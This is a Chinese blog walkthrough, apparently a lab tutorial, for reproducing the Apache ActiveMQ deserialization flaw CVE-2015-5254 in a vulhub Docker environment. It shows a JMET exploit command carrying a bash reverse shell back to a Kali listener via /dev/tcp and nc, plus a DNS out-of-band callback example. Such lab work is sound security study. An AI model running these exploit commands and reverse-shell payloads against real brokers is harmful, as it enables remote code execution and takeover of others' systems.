docker之ActiveMQ 反序列化漏洞 (CVE-2015-5254)

漏洞简介
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程***者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
漏洞版本
Apache ActiveMQ 5.13.0之前5.x版本
环境条件
Ubuntu和kali
vmare虚拟机
GitHub官网的注册
注意:在使用虚拟机的时候虚拟机可以自动分配IP,尽可能联网,如果过发生错误可以在虚拟中的编辑——>虚拟网络编辑器———>更改设置选项——>直接进行还原默认设置即可;

连接的时使用如下

环境搭建
https://vulhub.org/#/docs/
环境搭建好之后
cd vulhub-master
cd activemq/CVE-2015-5254/
docker-compose build
docker-compose up -d
注意有时候会因为权限原因而报错,你需要在前面加上sudo,使用root权限来进行dockers的启动

ifconfig查看自己的IP地址
访问http:你的IP地址:8161

kali
打开kali

mkdir opt
cd /opt
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar


注意:echo 后面的使用的是base64编码
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/kali IP/所要监听的端口号 0>&1 bese64编码" -Yp ROME 靶机的ip 61616
nc -lvvp 端口号监听的端口号

工具
JMET(Java 消息利用工具)

$ java -jar target/jmet-0.1.0-all.jar
ERROR d.c.j.JMET [main] Misconfiguration: Missing required options: [-C Custom script exploitation mode, -Y Deser exploitation mode, -X XXE exploitation mode], [-T topic name, -Q queue name], I
usage: jmet [host] [port]
 -C,--Custom <scriptname>         Custom script exploitation mode
 -f,--filter <scriptname>         filter script
 -I,--impl <arg>                  ActiveMQ| Artemis| WebSphereMQ| Qpid10|
                                  Qpid09| HornetQ| SwiftMQ| RabbitMQ|
                                  OpenMQ
 -pw,--password <pass>            password for authentication
 -Q,--Queue <name>                queue name
 -s,--substitute                  Substituation mode: Use §§ to pass
                                  ysoserial payload name to CMD
 -T,--Topic <name>                topic name
 -u,--user <id>                   user for authentication
 -v,--verbose                     Running verbose mode
 -X,--XXE <URL>                   XXE exploitation mode
 -Xp,--xxepayload <payloadname>   Optional: XXE Payload to use EXTERNAL|
                                  PARAMATER| DTD
 -Y,--ysoserial <CMD>             Deser exploitation mode
 -Yp,--payload <payloadname>      Optional: Ysoserial Payload to use
                                  BeanShell1| CommonsBeanutils1|
                                  CommonsCollections1|
                                  CommonsCollections2|
                                  CommonsCollections3|
                                  CommonsCollections4|
                                  CommonsCollections5| Groovy1|
                                  Hibernate1| Hibernate2| Jdk7u21| JSON1|
                                  ROME| Spring1| Spring2
 -Zc,--channel <channel>          channel name (only WebSphereMQ)
 -Zq,--queuemanager <name>        queue manager name (only WebSphereMQ)
 -Zv,--vhost <name>               vhost name (only AMQP-Brokers:
                                  RabbitMQ|QPid09|QPid10)

创建用于执行“xterm”的小工具并将它们全部发送到队列“事件”。由于选择了实现 ActiveMQ,目标系统是“jmstarget”,侦听端口 61616
java -jar jmet-0.1.0-all.jar -Q 事件 -I ActiveMQ -Y xterm jmstarget 61616
要找出执行了哪个小工具,您可以使用带外通道(如 DNS)的“替换”模式。要将小工具名称传递给您的命令,请使用“§§”字符串,然后将其替换为小工具名称。
java -jar jmet-0.1.0-all.jar -Q 事件 -I ActiveMQ -s -Y " nslookup §§.yourdomain.com " jmstarget 61616

详情https://www.cnblogs.com/backlion/p/9970516.html

posted on   寂寞梧桐#  阅读(505)  评论(0编辑  收藏  举报

相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

导航

统计

点击右上角即可分享
微信分享提示